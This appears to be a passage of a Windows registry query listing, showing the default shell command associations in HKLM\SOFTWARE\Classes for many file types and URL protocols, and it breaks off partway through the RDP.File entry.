    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\cmd\command
        (Standard)    REG_SZ    cmd.exe /s /k pushd "%V"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\encrypt-bde\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizard.exe %1 T
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\encrypt-bde-elev\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizardElev.exe %1 T
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\find\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\manage-bde\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe /name Microsoft.BitLockerDriveEncryption /page ?InitialVolume==%1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\Powershell\command
        (Standard)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\resume-bde\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizard.exe %1 V
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\resume-bde-elev\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizardElev.exe %1 V
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\unlock-bde\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\bdeunlock.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\evtfile\Shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\eventvwr.exe /l:"%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\evtxfile\Shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\eventvwr.exe /l:"%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\runas\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.BurnSelection\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.EraseDisc\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.ZipSelection\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocProtocol.search-ms\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FaxCover.Document\shell\open\command
        (Standard)    REG_SZ    C:\Windows\System32\fxscover.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FaxCover.Document\shell\print\command
        (Standard)    REG_SZ    C:\Windows\System32\fxscover.exe /P "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FindApp.DVD\Shell\Play\command
        (Standard)    REG_EXPAND_SZ    explorer "ms-windows-store://search/?query=DVD"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\fonfile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\fonfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ftp\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\giffile\shell\Open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\giffile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\gmmpfile\shell\Install Profile\command
        (Standard)    REG_SZ    "colorcpl.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Print "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\winhlp32.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htafile\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\SysWOW64\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\http\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\https\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\icmfile\shell\Install Profile\command
        (Standard)    REG_SZ    "colorcpl.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.MHT\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.MHT\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.PARTIAL\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.WEBSITE\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintXHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintXHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.FTP\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.HTTP\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.HTTPS\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IMEDictionaryCompiler\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\imesxfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%WINDIR%\system32\IME\SHARED\imesearch.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\print\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\printto\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\jpegfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Edit\Command
        (Standard)    REG_SZ    C:\Windows\System32\Notepad.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\System32\WScript.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Open2\Command
        (Standard)    REG_SZ    C:\Windows\System32\CScript.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Print\Command
        (Standard)    REG_SZ    C:\Windows\System32\Notepad.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Edit\Command
        (Standard)    REG_SZ    C:\Windows\System32\Notepad.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Open\Command
        (Standard)    REG_SZ    C:\Windows\System32\WScript.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Open2\Command
        (Standard)    REG_SZ    C:\Windows\System32\CScript.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Print\Command
        (Standard)    REG_SZ    C:\Windows\System32\Notepad.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Launcher.Computer\Shell\Manage\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\LDAP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\LpkSetup.1\Shell\install\command
        (Standard)    REG_EXPAND_SZ    %systemroot%\system32\lpksetup.exe /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MacromediaFlashPaper.MacromediaFlashPaper\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Internet Explorer\iexplore.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mhtmlfile\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mhtmlfile\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellConsole.1\Shell\0\Command
        (Standard)    REG_SZ    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellConsole.1\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellData.1\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellModule.1\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.ProvTool.Provisioning.1\Shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.System.Update.1\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\wusa.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.Website\Shell\Open\Command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.Workfolders\Shell\Open\command
        (Standard)    REG_SZ    C:\Windows\System32\control.exe /name Microsoft.WorkFolders
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MMS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-availablenetworks\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-mmsys\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msdt\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\msdt.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msime-imepad\shell\open\command
        (Standard)    REG_SZ    C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msime-imjpdct\shell\open\command
        (Standard)    REG_SZ    C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-perception-simulation\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-quick-assist\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\quickassist.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-rdx-document\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings-connectabledevices\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings-displays-topology\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-virtualtouchpad\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\Author\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe /a "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\RunAs\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSDASC\shell\open\command
        (Standard)    REG_EXPAND_SZ    Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /i "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Repair\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /f "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Uninstall\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /x "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Patch\shell\Open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /p "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSInfoFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\msinfo32.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSSppLicenseFile\shell\open\command
        (Standard)    REG_SZ    "iexplore.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSStorageSense\shell\open\command
        (Standard)    REG_EXPAND_SZ    explorer ms-settings:storagesense
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\msstylesfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\NetServer\shell\remotedesktop\command
        (Standard)    REG_SZ    mstsc.exe -v %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaServer:1\shell\Open Media Player\command
        (Standard)    REG_EXPAND_SZ    C:\Program Files\Windows Media Player\wmplayer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchdescription\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchfilefolderresult\shell\open\command
        (Standard)    REG_SZ    
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchresult\shell\open\command
        (Standard)    REG_SZ    
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchresult\shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %windir%\system32\mshtml.dll,PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\otffile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\otffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7RFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddP7R %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7RFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7SFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Paint.Picture\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Paint.Picture\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pbkfile\Shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rasphone.exe -f "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PerfFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pfmfile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pfmfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PFXFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddPFX %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PFXFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PhotoViewer.FileAssoc.Tiff\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile\shell\open\command
        (Standard)    REG_SZ    "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pjpegfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pngfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\prffile\shell\Open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ratfile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Connect\command
